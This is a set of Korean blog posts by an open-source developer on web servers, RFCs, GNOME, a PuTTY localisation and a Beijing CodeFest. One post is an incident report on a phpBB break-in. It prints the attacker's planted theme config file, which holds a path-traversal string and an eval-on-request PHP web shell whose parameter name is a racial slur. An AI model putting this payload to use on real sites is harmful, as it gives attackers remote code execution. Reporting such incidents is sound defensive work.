명함이나 회사 양식지 같은 여러 곳에 있는 회사의 슬로건은 "Open Source Experts"입니다. 그런데, 뭐 사실 회사가 생긴지 만 6년이 다 되어가지만, 오픈소스회사가 할 만한 일은 하나도 한 일이 없다고 봐도 되겠지요.. 전문가라면 쏙쏙 빼먹기만 해도 되남? 흐흐. 하여간 이런게 상황이 매우 어려운 회사 실정에는 호사스러운 불평일 수도 있겠지만, 그래도 아무도 얘기하지 않으면 그냥 그래도 되는 것이 되기에 용기를 내어 한번 말해 보았습니다.

그렇지만, 뭐 역시 답변은 "회사가 망하고 나서 오픈소스를 해 봐야 무엇하나", "우리나라 사정에는 오픈소스로 돈 벌 수가 없다", "오픈소스를 해야지만 오픈소스 회사인 것은 아니다" 이런 식의 늘 들어왔던 말들이었지요. 사실 이런 생각을 갖고 있는 사람들을 설득하기란 쉽지 않습니다. 오픈소스를 전혀 처음 접한 것이 아니고 이미 오해를 단단히 하고 있기 때문에 거부감을 이미 충분히 가지고 있는 상황이라 생각을 바꾸기가 쉽지가 않지요.

사실 자신이 오픈소스를 잘 알고 있다고 생각하면서 거부감을 가지고 있는 경영자들의 오해는, 회사가 오픈소스를 하면 처음부터 무조건 레드햇같이 회사의 모든 제품을 오픈소스해야 하는 줄 아는 것이 주가 됩니다. 사실 제품 전체를 통짜로 오픈소스로 만드는 지미안이나 레드햇, IBM같은 곳도 있을 수는 있겠지만, 그런 비즈니스 모델을 적용해도 회사 재정에 문제가 없을 경우에나 그렇겠지요. 반면에 Google Code나 Yahoo Search Developer Network처럼 프러덕트 전체를 오픈소스화하는 것은 아니고, 회사의 이익은 유지할 수 있으면서도 세계 개발자원의 절약에 큰 도움을 줄 수 있는 이런 오픈소스화를 할 수도 있습니다. 회사 주력 제품을 개발하면서 부산물로 나오는 것은 사실 구글이나 야후만 하는 것이 아니라 FreeBSD 소스만 보더라도 수십개의 비-오픈소스 회사가 소스를 기부해 왔고, Python 소스에서도 10여개의 회사가 자신들의 목적에 맞춰서 일정부분의 소스를 기부해 온 것을 볼 수 있습니다.

즉, 오픈소스라고 해서 굳이 목숨걸고 할 필요는 없다는 것입니다. 만약 대용량 메일 솔루션을 만든다면, 그 안에 들어간 서버 프로세스들을 위한 IPC 프레임워크를 공개한다고 해서 메일 솔루션 팔아 먹고 사는데 과연 지장이 있을까요. 오픈소스는 사실 그냥 회사의 도의적 정당성만 형식적으로 주는 것은 아닙니다. 회사의 코드들을 오픈소스화 함으로써, 회사 자체의 관리 부담이 줄어들고, 오히려 외부에서 새로운 기능을 추가해 준다던지 버그를 잡아줄 수도 있는 효과도 노려볼 수 있습니다. 또한, 해당 오픈소스 부분을 사용하는 곳이 많아지면, 비슷한 라이브러리나 모듈을 사용하는 프로그램들끼리의 호환성도 쉽게 올라가서, 오픈소스에 기여하는 회사들끼리 상호운용성이 크게 향상됩니다. 그리고, 오픈소스를 함으로써 개발자들에게는 "내가 이 회사를 다닌다. 우리 회사 라이브러리 써 봤어?" 하고 자부심을 가질 수 있어서 사기충전에도 큰 도움을 주며 새로운 개발자들을 유혹하는 긍정적인 요소가 될 수 있습니다. 개발자들 대부분은 자기 소스를 마음대로 자랑할 수 있을 때에 코드 품질이 훨씬 올라간다는 점에서 품질의 향상에도 영향을 줍니다.

저희 회사에서 점진적인 오픈소스가 진행되지 못했던 점은 물론 개발자들이 능동적으로 릴리스를 하려는 의지가 부족했던 점도 있습니다. 그렇지만, 사실 그렇게 주장을 하더라도 오픈소스 개발자들의 개발 방식과 생활 방법이나 의식은 회사 생활에는 안 맞다는 생각이 이미 마음 속 깊이 있는 관리자들에게 말이 받아들여질 수 있을 지는 의문이군요.. 그냥 며칠 안 남은 병역특례가 얼른 끝나기를.. :)

한동안 웹서버를 lighttpd로 외도를 했습니다만, 얼마 전에 다시 아파치로 돌아왔습니다. 역시 쓰는 사람이 적으면 같은 문제를 겪는 사람의 수가 적은 것이 크나큰 한계네요..

lighttpd를 쓰면서 즐거웠던 것은, php를 밖에다 두고 fastcgi로 쓰는 것이 일반화되어 있어서 매뉴얼에 상세히 작성되어 있었기에 왠지 분리를 했다는 뿌듯함에.. :) 그리고 프로세스 개수도 적고 해서 퍼포먼스 차이를 별로 실감하지 못하면서도 왠지 빠른 것 같이 느껴지고 그랬는데, 문제는 역시 한 1주일 쓰다보니까 발견이 되었습니다.

lighttpd를 쓰다 보면, 비동기 웹서버의 특성 상 아무래도 fastcgi나 proxy를 써서 백엔드로 많이 넘기게 되는데, 생각보다 개발자가 특이한 상황을 아직 많이 접해보지 못한 것 같습니다.

• fastcgi가 돌다가 에러가 단 1번이라도 나면, 바로 그 핸들러가 서비스 설정에서 빠지기 때문에 보안 상으로는 좋을 지는 몰라도 실제로는 수시로 뻑나서 서비스가 어렵 ㅠ.ㅠ
• fastcgi를 외부 서버로 돌리고 있을 때 서버가 죽어버리면 unknown state: 3이라는 에러로그를 무한정 뿌립니다. (하드디스크 꽉 찰 때까지!) /var에 4기가 할당했는데 왜 자꾸 풀나나 했더니.. 허헛; 이 현상은 소스를 확인해 보니까, fastcgi 비동기 접속 상태가 열댓개가 있는데 그 중에서 자주 나오는 2개만 핸들하고 나머지는 프로그램을 안 해 놨더군요.. -.-;;
• proxy도 같은 현상. unknown state 싫어싫어~

한동안은 "그래 나도 lighttpd에 이바지해야지" 하고, 앗싸 버그! 모드로 수정을 해 보았는데, 별로 하나 수정하면 또 다른데서 뻑나고 그래서.. 흐흐 쉽지가 않네요. 결국은 우리 마음의 고향 아파치로 돌아왔습니다. 돌아오고 나니 어찌나 반갑던지 ㅠ.ㅠ 대충 설정해도 찰떡같이 돌아가 주고! 그래 역시 집이 좋구나.

기왕에 fastcgi-php를 세팅한 김에, 아파치에서도 fastcgi로 돌렸는데, 역시 동적인 서비스에서는 웹 서버의 영향이 거의 없는 것이 맞는지, phpBB의 첫 페이지를 벤치마크해 본 결과 lighttpd로 돌린 것이 230 요청/분, apache로 돌린 것이 227 요청/분 이렇게 나왔습니다. 사실 벤치마크하는 도중에 CPU는 95% 정도를 php가 먹고 있었기 때문에, 정말로 웹서버는 별 영향이 없네요.. 그래 아파치 좋아~ :)

아파치에서 php-fastcgi를 설정하면서 지난 번에 했던 php 패치가 제대로 동작을 하지 않았는데, 스크립트 파일 위치를 chroot된 디렉터리를 chroot되기 전 경로 기준으로 주는 바람에 그런 것이어서, 약간 패치를 더 해 봤습니다. 아파치 php-fastcgi 쓰시려는 분들은 써 보세요. :)

최근 FreeBSD의 미래와 관련된 무척 흥미로운 (정말로!) 얘기들이 많이 나오고 있는 BSDCan 2005에서 일이 하나 터졌습니다. 인텔의 펜티엄 연산 버그 이후로 가장 큰 문제가 아닐까 하는데, FreeBSD 커미터인 Colin Percival (freebsd-update와 portsnap으로 유명한)이 인텔의 Hyper-Threading 구현의 보안 결함을 BSDCan에서 발표한 것입니다.

아직 무슨 문제인지, 고칠 방법은 무엇인지가 구체적으로 발표된 것은 아니고, BSDCan에 참가하고 있는 개발자들 간에는 활발한 토론이 이뤄지고 있는 듯합니다. 해당 문제로 인해서 영향을 받을 수 있는 것은, 다른 사용자 프로세스에 의해서 RSA키같은 사적인 정보들이 노출될 수 있다는 것인데, 아무래도 CPU상의 문제가 그런 영향을 미칠 수 있는 방법을 생각해 보면 HTT에서 같은 프로세서에 우연히 같이 올라간 프로세스가 서로 메모리 영역 보호가 잘 안 된다거나.. 알게 모르게 특수한 상황에서 레지스터가 공유돼 버리는 것이 아닌가 한번 때려 맞혀 봅니다. -.-; 그래서, FreeBSD에서는 하이퍼쓰레딩이 이제 디폴트로 꺼지는 것으로 우선 처리가 됐고, NetBSD에서는 올바른 피해가기 패치를 마련한 다음에 발표할 예정이라고 합니다. 그리고 SCO에서도 패치를 한 걸로 봐서는, OS에 큰 상관 없이 하이퍼쓰레딩을 지원하는 모든 OS에 영향을 주는 것 같군요.

흐흐흐.. 인텔 화이팅~ -O-;;;

요새 회사가 새로운 모습으로 (9시 출근을 포함해서;;) 많이 바뀌면서, 정상적인 개발팀이라면 있어야 한다고 보통 다들 그러지만, 하루 벌어 하루 먹고 사는 빈곤 개발팀들에게는 꿈같은 것 중의 하나인 "코딩 규정 (coding standards)"를 만들었습니다.

제가 소속된 팀에서는 서버나 에이전트 같은 정적인 프로세스들은 파이썬을 사용하고 있고, 웹 인터페이스 쪽에서는 커스터마이즈를 직접 하기 원하는 고객들의 요구때문에, PHP를 사용하고 있습니다. 그래서, 파이썬쪽은 당연히 PEP-008 파이썬 코드 스타일 가이드를 따르는 것으로 간략하게 정했고, PHP 쪽에서는 딱히 생각나는 문서가 없어서 우선 떠오르는 몇가지를 글자로 옮겨 보았습니다. (원본은 회사 내부 사이트 안에 올라가 있기 때문에, 따로 OpenLook Wiki에 PHPCodingStandard 페이지로 옮겨 두었습니다.)

물론, 인덴트 크기나, {}의 위치, if () 조건문의 띄어쓰기 방법, 각 연산자 별로 어느 것은 띄어 쓰고 어떤 것은 띄어쓰지 않을 것인지, switch뒤에 case는 띄어 쓸지 아닐지 같은 것들은 상당히 종교적인 싸움까지도 갈 수도 있는 민감한 사안이기는 합니다. 그렇지만, 각자가 자기 스타일이 좋다고 그냥 코드를 제각각 써버리는 것 만큼 추한 코드 나오기 적당한 환경이 없을 것 같다는 생각이 들어서, 그냥 모두 1가지 방법으로 통일했습니다. 목표는 코드를 보고서 이게 누가 짠 것인지 모르게 만드는 것! 크크 :)

사실 XP를 쓰지 않는 프로젝트를 하다 보면, 알게 모르게 어느 소스는 누가 잘 알고 그런 게 생기게 마련인데, 이렇게 되면 문제점 해결을 위해서 고객이 연락을 하려는 경우에 여기 저기 공무원 처럼 떠넘김을 당하고 나서는, 개발자들이 책임감이 부족하다는 것을 느끼기도 한다는 것을 고객사 담당자에게 들었는데, 변명의 여지는 있지만 그래도 못 들은 체 하기에는 맞는 면도 있는 것 같습니다. 이제 슬슬 저희 팀에서도 이제 누가 짰는지 모르는 공동생산을 본격적으로 해보려고 마음을.. :)

오픈룩과 같은 서버에서 호스팅하고 있는 파이썬마을이 오늘 낮에 중국에서 들어온 것으로 보이는 공격자들에게 잠시 뚫렸습니다. 바로 다른 분들이 알려주신 덕분에, 2.0.11을 사용하고 있던 phpbb를 2.0.13으로 업데이트하고, 뚫린 곳을 복구했습니다.

phpBB는 널리 쓰이는 여타 php 웹 애플리케이션이나 마찬가지로 매번 보안 문제점이 발생될 때마다 엄청나게 치명적인 권한 누출이 발생되는데, 국내외를 불문하고 다들 이런 것은.. php의 문제인지.. 스크립트 언어 기반 웹 프로그래밍의 문제인지.. 참 답답하네요;; 한 두번도 아니고 흑흑 -.-

우선, 이번에 뚫린 부분은 일반 사용자로 가입한 뒤에 2월 27일에 발표된 회원 누구나 자동 로그인 기능을 사용해서 관리자 권한을 획득할 수 있는 버그로 웹상의 관리자 권한을 획득하는 곳까지 성공해서, 게시판 1개의 설명을 바꿔놨습니다. 안 바꿨으면 눈치를 못 챘을텐데 중국 이름을 알리고 싶었던 모양이죠 -.-a

그 다음으로 공격시도는 아직 발표되지 않은 보안 버그를 시도하려한 듯 한데, 컬러 테마로 상위디렉토리로 쭉쭉 올라가서 tmp에다가 theme_info.cfg라는 파일을 만드는 것까지는 성공했네요. (이건 따라해 보니까 2.0.13에서도 아직 수정이 안 된듯) 그래서, 이제 theme_info.cfg에 php코드를 넣을 수 있다는 점을 이용해서 GET 요청으로 들어온 변수를 바로 php에서 실행을 하도록 했는데, 다행히도 오픈룩의 웹서버가 jail안에 들어가 있어서, 별로 갖고 갈 정보도 없는데다, 특별히 의미있는 작업을 한 것 같지는 않습니다.

공격자측에서 /tmp/theme_info.cfg 로 기록에 성공한 파일의 앞부분

<?php

//
// phpBB 2.x auto-generated theme config file for aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp
// Do not change anything in this file!
//

$aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../.. /../../../../../../../../tmp[0]['template_name'] = "aaa=12;eval(stripslashes($_REQUEST[n igga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp";

으흐흐.. 어차피 뭐 곧 서버를 옮길테니까 DB만 무사하면 되는데.. 백업이 이틀 전 것까지 밖에 없어서 그새 뭔가 날아간 게 있을까봐 두렵군요 --;

php 웹 애플리케이션들의 보안버그 - 과연 끝은 어디인가 -_-;;

요즘은 회사에서 DDDS (Dynamic Delegation Discovery System) 관련한 작업을 하고 있습니다. DDDS는 URN (Uniform Resource Name)을 찾아서 URI나 서비스를 동적으로 연결해 주는 시스템입니다. URN을 URI로 바꾸고 그러다보니, URN, URI, URC, URL 등등 UR 씨리즈가 무척 많이 나오는데, 전에도 URI와 URL이 대체 차이가 무엇인가! 상당히 궁금했는데, 이번 기회에 문서를 읽어보게 되어서, 궁금하신 분이 많을까봐 한번 정리를.. :)

URL (Uniform Resource Locator)은 아시다시피 흔히들 많이 쓰는, http://xxx.yyy:1234/hehehe.html 같은 프로토콜로 시작해서 콜론찍고 그 다음에 주소를 쓰는 인터넷에서 접근할 수 있는 자원의 주소입니다.

한편, URN은 인터위키처럼 네임스페이스ID:컨텐트스펙 형식으로 이루어지는데, 예를 들어, 책 The D&I of FreeBSD O/S 같은 경우에 URN 주소로 urn:isbn:0201702452 이 되고, 최근 파이썬 보안 버그에 대한 VuXML 엔트리의 URN은 urn:uuid:6afa87d3-764b-11d9-b0e7-0000e249a0a2 이 됩니다. 이런 인터위키스러운 분야 외에도, 정규식 기반의 rewrite와 다단계 authority resolving, 우선순위 지정같은 것들을 지원해서, SIP과 연관된 분야에서 많이 사용되고 있는 듯 합니다.

그런데 URI는 대체 무엇인가! URL과 URN을 묶어서 그냥 URI .. ;;; 그 외에 URC (Uniform Resource Characteristics)도 URI에 속하는데, 이는 관련된 사진, 인용 목록, 리비전 기록 같은 것들을 제공하는 것이라고는 하는데, 실제로 쓰이는 예를 전혀 찾을 수가 없었습니다. 그런데, 굳이 URL도 알고보면 scheme이 여러가지가 있어서 새로 정의할 수 있는데 왜 굳이 URI밑에 URL을 두는가 한참을 고민을 헀는데, 그냥 단순히 URL은 그냥 옛날에 쓰이던 개념적인 것이고 현재로써는 그냥 비공식적인 용어라고 합니다.

그런데도, 실제로 URN, URI, URL, URC간의 서로 변환해주는 서비스를 정의하고 있는 THTTP나 URI간 변환 서비스 같은 곳에서는 URI, URL을 다른 용어로 따로 분리하고 있어서, 완전히 비공식적으로 치부하기에는 좀 무리가 있는 듯 합니다. 으흐흐~

지금 사용하고 있는 coreblog는 아직 모인모인 문법을 지원하지 않는 관계로 ReST냐 HTML이냐를 선택할 수 밖에 없는데, ReST에서는 그림을 못 쓰는 관계로 어쩔 수 없이, HTML코드로 로그를 쓰는데, 뭔가 참고를 할 때마다 링크 쓰기가 한이 없이 귀찮은게.. URN링크를 쓰면 자동으로 HTML링크로 바꿔주는 플러그인이라도 만들어서 붙여야겠다는 생각을 해 봅니다.. 으흐~

오늘 커밋 로그를 보다가 멋진 트릭을 하나 발견!

C의 #if에서 정의 됐을지 안 됐을지 모르는 상수를 계산식에 써버리면 치명적인 에러가 보통 발생합니다. 예를 들면

#if NUM_OF_GIRLFRIENDS > 1
#error you're denied to run this program.
#endif

이 코드를 컴파일할 때 미리 NUM_OF_GIRLFRIENDS 가 아예 정의되어 있지 않다면, (아마도 전혀 기억이 없는 사람.. ~먼산~)

#if > 1
#error you're denied to run this program.
#endif

이렇게 돼서 > 연산자의 왼쪽이 없어서 에러가 나는데, 보통 사람의 해결방법은 #ifdef를 위에 쓰는 것이겠지만.. 오늘 파이썬 커밋 로그에서 모 플랫폼 (사실은 FreeBSD 4 -.-;)에서 _POSIX_SEMAPHORES 가 정의되지 않아서 생기는 문제점을 Martin이 고친 것을 봤는데 이렇게 고쳐놨습니다.

#if (_POSIX_SEMAPHORES+0) == -1
#define HAVE_BROKEN_POSIX_SEMAPHORES
...
#endif

_POSIX_SEMAPHORES가 정의되어 있지 않더라도 +0 == -1이 돼서.. 결국은 제대로 전처리가 되는 것!! +_+

감자옹과 SPF에 대해 담소를 나누던 중, 최근에 RFC로 등록됐다는 SMTP 메시지 추적 확장판이 몇번인지 한번 찾아보려고, 오랜만에 RFC 인덱스를 끝에서부터 뒤져 봤습니다. 옛날에 호기심 많던 젊은 시절(-.-)에는비교적 자주 RFC 인덱스를 업데이트해서 봤었는데 훈련 다녀 오고서는 마냥 잠만 와서~ 크흐흐;;;

마지막부터 차근차근 보다가 아앗! 발견한 것이 RFC4009: The SEED Encryption Algorithm! SEED가 정말로 내가 4년 전에 회사에 갓 들어와서 아무것도 모를 때 하던 그 SEED가 맞는가 하고 잠시 고민을 했는데 옆에 한국식 저자명들이 아 그게 맞구나 하고 확신을.. :) KISA에서 썼군요

전에 봤던 두툼한 책 2권짜리 수식으로 가득찬 SEED 책보다는 훨씬 얇아서 약간 주춤하기는 했는데, 기본 암호화, 복호화 방법과 매직넘버는 모두 담겨있어서 구현을 위한 최소한의 것은 잘 씌여 있군요. 수학식에 압도당해서 보기도 힘들었던 그 책 대신 이걸 봤으면 좀 더 쉽게 구현할 수 있었을지도..ㅠ.ㅠ

부록으로 RFC4010으로 CMS에서 사용하는 방법도 등록 되었네요.

그냥 보는 김에 쭉 위로 훑어보다가 작년 하반기 이후에 등록된 재미있는 것들이 제법 있었습니다. 흐흐

• RFC3986에 URI가 새로운 버전으로 업데이트 되고, 오랫동안 draft 상태로 있었던 IRI가 RFC3987로 드디어 proposed standard로 등록되었습니다. (IRI는 URI에서 유니코드를 쓰기 위한 확장)
• RFC3912로 WHOIS 프로토콜이 업데이트 되었습니다. 워낙 간단하니 별로 프로토콜에서 달라진 점은 안 보이고, 국제화에 대해서 대책이 없다는 것을 솔직하게 적은 게 추가 됐네요. (....)
• 지금까지 IETF RFC로 등록된 적이 없었던 CGI가 역사를 기록이라도 하려는 듯 2004년 10월에서야 RFC3875로 등록됐군요. 요새 제가 쓰던 CGI들이 다들 레퍼러 스팸 공격을 받고서는 죽고 있어서 CGI는 이제 안 쓰려고 마음먹었습니다. ㅠ.ㅠ
• 지나가다가 또 다른 한국식 이름을 발견했는데, RFC3974 IPv6 전환의 애플리케이션측 양상에 ETRI 소속의 한국인 저자가 첫번째부터 세번째까지 저자 이름이 올라가 있군요. :) 그리고 NetBSD의 itojun씨도 공동저자로! (와!)

요새 등록되는 RFC에 유독 SIP관련 내용이 많은 걸로 봐서는, 아무래도 인터넷 전화나 W-CDMA를 준비하는 업체들이 많이 보이는 것 같기도 하고 그렇네요. 그리고 그새 1월에 RFC4000을 돌파했는데.. 아직 RFC4000이 등록이 안 된것이.. 아무래도 만우절 농담을 RFC4000으로 등록하려는 것일까요? ;;; 4004도 비워놨고.. 뭐가 등록될 지 기대가 되는군요. :)

지난 주 목요일이던가에 릴리스된 GNOME 2.10으로 업그레이드 했습니다. :) 포트에는 지난 주 토요일에 들어왔는데, 업그레이드하는데 그동안 갖고 있던 로컬 패치 여러개가 이리저리 뻑을 내서 4번 gnome_upgrade.sh를 돌린 끝에 20시간 걸려서 겨우 업그레이드 했군요..; 으흐 다음 부터는 커밋 안한 로컬 패치는 안 넣어둬야;;

GNOME 2.10 (누르면 큰 그림)

전체적인 느낌은.. 2.8과 뭐가 달라졌는지 모르겠다.. 였;;; 2.6에서 2.8 올라가면서 UI가 많이 산뜻해진 느낌이 들었는데, 2.10은 딱히 크게 달라진 것처럼 보이는 것은 없네요~ 속도는 CPU가 빨라서 그런지 (우하하) 별 차이 없어보이고;; -ㅇ- 그런데, 깔고 나서, 세팅하던 도중에 gstreamer-register에서 계속 segfault가 나면서 gstreamer를 사용하는 모든 프로그램이 동작하지 않는 문제가 있었는데, 이 문제를 ganadist님의 도움을 받아 추적해본 결과 libmodplug.so 였던가 .mod 를 담당하는 모듈에서 뭔가 문제가 생겨서, 그 파일을 제거하고 다시 gstreamer-register를 실행해 주니까 잘 되었습니다~

그래도 영 보람이 없는 것은 아니어서 이런 건 정말 마음에 들었습니다. :)

• 로그아웃 박스에 드디어 "컴퓨터 끄기"가! - 로그아웃 할 때 기존에 "현재 설정 저장", "로그 아웃" 밖에 없어서 컴퓨터를 끄려면 밖에 나가서 gdm이나 셸에서 또 init 0 등의 명령으로 꺼야했었는데, 랩탑에서는 상당히 번거로웠던게, 드디어 이제 한방에 끌 수 있군요. :)
• "프로그램-데스크탑" 애플릿이 "프로그램-위치-데스크탑"으로 - 그놈 기본 설정으로는 맨 왼쪽 아래에 위치하는 애플릿이 이제 중간에 "위치"가 끼여 들어가서, 위치를 등록해 놓고 자주 쓰는 디렉터리들에서 노틸러스를 바로 띄울 수 있게 되었네요.
• $HOME/.xmodmap도 이제 합법적으로 사용 가능 - 그동안 $HOME/.xmodmap이 있으면 부팅하면서 절대로 쓰지 말라고 협박조로 궁시렁궁시렁 댔었는데, 이제는 $HOME/.xmodmap도 로딩할 때 사용할거냐고 물어본 다음에, 다음 로그인부터는 로딩이 정상적으로 됩니다. 그래서 이제 한/영키 매핑을 위해서 따로 xmodmap 번거롭게 조절해 줄 필요가 없어졌네요. :)

사실은 FreeBSD도 4.9 이후로 나온 4.10과 4.11은 거의 바뀐 점이 없다는 것을 생각해 보면, 그놈 2.10도 안정적인 릴리스 모드로 들어가 버린 걸까요? 뭐 하여간 이제 "컴퓨터 끄기"가 생긴 만큼, 불편한 것은 없어서 좋습니다. ㅋ~

exman님의 결혼을 축하드리는 기념으로 한글 PuTTY 0.57을 방금 릴리스 했습니다. -O-;

작년 10월쯤에 발표된 PuTTY 보안 버그패치도 적용하지 않고 있었는데, 2월에 또 하나 더 나와서 좀 더 버티기는 무리라고 생각하고.. 흐흐; 이번에 겉으로는 이런 것들이 바뀌었습니다.

• IPv6 지원이 들어갔습니다.
• 포워딩 같은 용도로 사용하기 위해 셸이나 명령어 실행 안하기 모드가 추가되었습니다.
• 여러개의 SSH관련 보안 버그가 수정되었습니다.
• 접속이 끊긴 창에서 새 창을 안 띄우고 그자리에서 다시 접속할 수 있게 되었습니다.
• SOCKS 5 프락시를 위한 CHAP인증 기능이 추가되었습니다.
• X포워딩과 리모트 포트 포워딩에 관련된 여러가지 버그들이 수정되었습니다.

늘 그랬듯이 이번에 외부적으로 크게 변한 것은 없는 반면에, 내부적으로 소스 코드에서는 상당히 많이 바뀌었는데, 특히 그동안 주 코드에 붙어 있었던 win32 지원 코드가 모두 windows/ 하위 디렉토리로 내려가는 바람에 이제 소스 레이아웃에서도 멀티 플랫폼의 냄새가 납니다. :) 그리고, 터미널 제어 코드들이 성능을 위해서 여기저기 많이 고쳐놔서, 성능이 나쁜 컴퓨터에서도 스크롤 속도가 그다지 느리지 않을 듯 합니다. 덕분에 기존에는 대충 근처만 invalidate하면 새로 그려져서 커서 패치가 쉬웠는데, 이번엔 정확하게 커서 위치를 맞춰서 그려야 제대로 그려지는 바람에, 한 이틀밤을 디버거 들고 씨름했네요.. 흐흐;; (바보~) ㅠ.ㅠ

특히 작년 초부터 시작된 PuTTY의 전역변수 제거 작업은 이제 어느 정도 단계까지 진행되어서, 터미널과 접속 관련된 대부분의 변수가 전역변수에서 벗어났고, 설정과 관련된 일부 변수들만 전역으로 남아있어서, SDI 인터페이스로 감싼다던지 하는 것도 쉽게 될 것처럼 보입니다.

그럼, PuTTY와 함께 즐거운 작업~ (;;)

3월 2일부터 3일까지 베이징의 하이댠구 종관춘(海淀? 中?村)에 있는 ?家?用?件?品?量?督??中心 (국가...센터 -- 아는 글자가;;)에서 열린 CodeFest Asia 2005에 참가했습니다. 원래 묵고 있었던 신세기반점에서 대략 30분 거리라고 하기는 했는데.. 길이 막히고 하니까 거의 직선으로만 쭈우욱 가는데도 실제로 걸린 시간은 40~50분정도 되는군요. 베이징이 얼마나 넓은지 이렇게 멀리 갔는데도 지도에서는 그냥 서쪽 구석에서 왔다갔다 한 것 밖에 안 되네요;;

국가..센터가 있는 종관춘(중관춘인가?) 근처까지 가는 길은 그냥 우리나라 보통 시가지나 별로 다를 것이 없는데, 본격적으로 접어들면서 슬슬 대전시 유성구 분위기로 바뀌더니 소프트웨어센터 근처는 완전 건물이 띄엄띄엄 있는게 거의 ETRI 근처를 방불케하는군요.. ㅎㅎ;; 사람도 안 다니고 택시도 안 다니고 -ㅇ-; 근데 역시 녹지가 유성에 비해서 좀 적어서 경치는 좀 별로이고 공기도 별로 안 좋기는 했습니다. 건물은 우주선 닮은게 많아서 멋있군요;;

코드페스트하는 방 © Anthony Wong

코드페스트는 우리나라에서와는 달리 아주 좁은 컴퓨터실 1개와 회의실 1개를 사용했는데, 주 행사는 모두 컴퓨터실에서 하고, 회의실은 휴게실로 사용했습니다. 컴퓨터실에는 미리 PC에 리눅스를 모두 깔아 두었는데, root비밀번호가 123456이라고 일러주더군요. 흐흐 역시 전세계 공통 비밀번호는 123456! -o-; 행사를 진행하던 앤써니가 영어, 중국어, 일본어로는 123456을 읽어줬는데 한국어로는 안 읽어준 것을 보면 한국어 숫자세기는 별로 안 유명한가봅니다. 한국어로 숫자세는 방법을 어디 홈페이지에 올리던지 해야지.. 흐~;;

초반이라 다들 열심히 코딩 중 © Anthony Wong

참가한 사람들은 아무래도 중국에서 하다보니 CJK만 참가를 했는데, 일본에서 거의 10명 넘게 왔고, 대만에서도 5~6명 정도 참가를 한 것 같습니다. 원래는 주최측에서는 몇가지 주제로 나눠서 작업을 진행할 생각이었나본데, 자기소개하는 시간에 다들 자기 하고 싶은 걸 얘기하는 바람에 결국은 거의 다 따로따로 자기 일을 하는 식이 돼버렸습니다. UIM 개발자나 Emacs에서 입력기를 개발하는 개발자, 데비안 중국어 문서 번역 프로젝트, CJK 유니한 폰트 개발자 등 많은 수가 국제화에 관련된 작업을 했지만, 리눅스 커널 포팅이나 udev쪽 작업 같은 일반적인 주제도 있었습니다.

g니베씨가 포팅하는 머신과 그 옆의 과자들~ :) © Anthony Wong

흐흐 역시 코드페스트 하면 빠질 수 없는게 간식과 식사! 간식은 제크랑 비슷한 Ritz인데, 대형할인매장용같은 5개들이 포장으로 2명에 1개씩 주더군요~ 그리고 음료수도 500ml PET로 몇개 줬는데, 아미노업도 있고.. 뭐 역시 이런건 비슷비슷~ 그리고 라면(사진에 보이는 초록색 용기)을 줬는데, 그 날은 배가 불러서 못 먹고 다음날에 한번 먹어봤는데.. 헉.. 스프 중의 하나가 뭔가 비계성 물질 12g이라 아무래도 불안해서 빼고 먹었는데도 느끼한게.. (...)

그리고 식사는 센터 건물 안에 있는 구내식당에서 먹었습니다. 점심은 고열량 식사 (진짜로 노골적으로 고열량 식사라고 라벨이 붙어있습니다;;)를 주는데, 중국집의 요리 메뉴에 나올 법한 음식들이 뷔페로 가득있어서 우선은 처음은 좋았는데.. 두째날에는 역시 그 씹으면 와사비에 된장 타서 100배 농축한 듯한 그 엄청난 냄새의 그 향신료와 기름가득 국물들과.. 그래 이정도면 중국 음식은 원 없이 먹고 가는구나 하는 생각이 --;; 그래도 죽은 담백한게 맛있네요. :) 하나 잊고 있었던 것을 일깨워준 것이, 식사에 나오는 디저트 귤이 아니!! 씨가 있는 것이었습니다! 오오.. 귤에 씨가.. (가만 생각해 보니 어릴 때는 씨가 있었던 것 같기도 하고..)

일본에서 온 개발자들에게 한글 입력 방식에 대해 설명하고 있는 최환진님 © Anthony Wong

이제 밥도 먹고 어느 정도 작업을 하고 나서, 최환진님은 일본에서 온 여러 입력기 개발자들과 한글 입력 방식이나 입력기의 여러가지 이슈에 대해서 토론을 하셨는데, 옆에서 들어보니 아 역시 멋있네요~ :) 코드페스트에서는 혼자 작업하는 것보다는 역시 이슈를 공유하는 사람들이 참가해서, 자유로운 의사소통을 최대한 활용하는 쪽으로 응용하는 것이 좋은 매력인 듯 합니다. 그런데, 저는 딱히 관심사가 비슷한 사람이 없어서 좀 아쉬웠습니다. 대만의 그 많은 포트 커미터들은 하나도 안 오고 뭐 한거야 ㅡ.ㅡ;;

코드페스트가 끝나고 나서 생각이 들었던 것은 우리나라의 코드페스트도 앞으로는 약간 넓은 주제를 기준으로 프로젝트를 신청받아서 참가를 받는 것이 좋지 않을까하는 것이었습니다. 그러니까, 중점 이슈가 "GNOME/GTK 기반 프로그램"이라고 하면, GTK기반인 사전이라던지, GNOME 애플릿을 개발하는 사람, GNOME 메시지 번역 등의 프로젝트가 참여해서 서로 공유하는 관심사가 많은 만큼 오프라인에서 활발히 토론을 하고 서로에게 충분히 도움을 줄 수 있고, 그 외에도 "PHP 기반 웹 애플리케이션", "온라인/오프라인 게임", "입력기와 폰트", "자바 웹 애플리케이션" 등 어느 정도 국내에서 프로젝트를 모집할 수 있으면서도 관심사를 한정할 수 있는 것이 제법 있을 법 하네요.. 그동안 너무 프로젝트가 다 다른 분야로 모이다보니, 서로 전혀 관심 없는 사람들끼리 그냥 하룻밤 옆에서 있었다는 그 정도의 의미밖에 없었던 것에서 오프라인 활용을 극대화할 수 있는 뭔가 주제의 집중이 필요한 듯 합니다.

호텔 화장실과 느끼한 라면 므흐흐

이번 코드페스트 참가는, 처음으로 외국에 나온 것이기도 하지만 처음 호텔에 묵기도 하고 처음 비행기도 타고 여러모로 첫 경험의 집합인데, 참 좋다고 느낀 것 중의 하나는 호텔 서비스 --;; 아 어디 잠시 나갔다 오기만 하면 방을 치워줘서.. 어찌나 좋던지.. 직접 날 잡아서 안 치우면 계속 쌓여만 가는 자취생에게는.. 뭔가 꿈만 같은 생활이군요 --; 잠깐 키오스크에 뭐 사러 갔다 오면 바로 수건 새걸로 바꿔져 있고, 설거지 다 해놓고.. 아 이것이 바로 내가 그리던 생활이야! -O-;;

비행기 이륙 직전에 자리에서 본 베이징국제공항

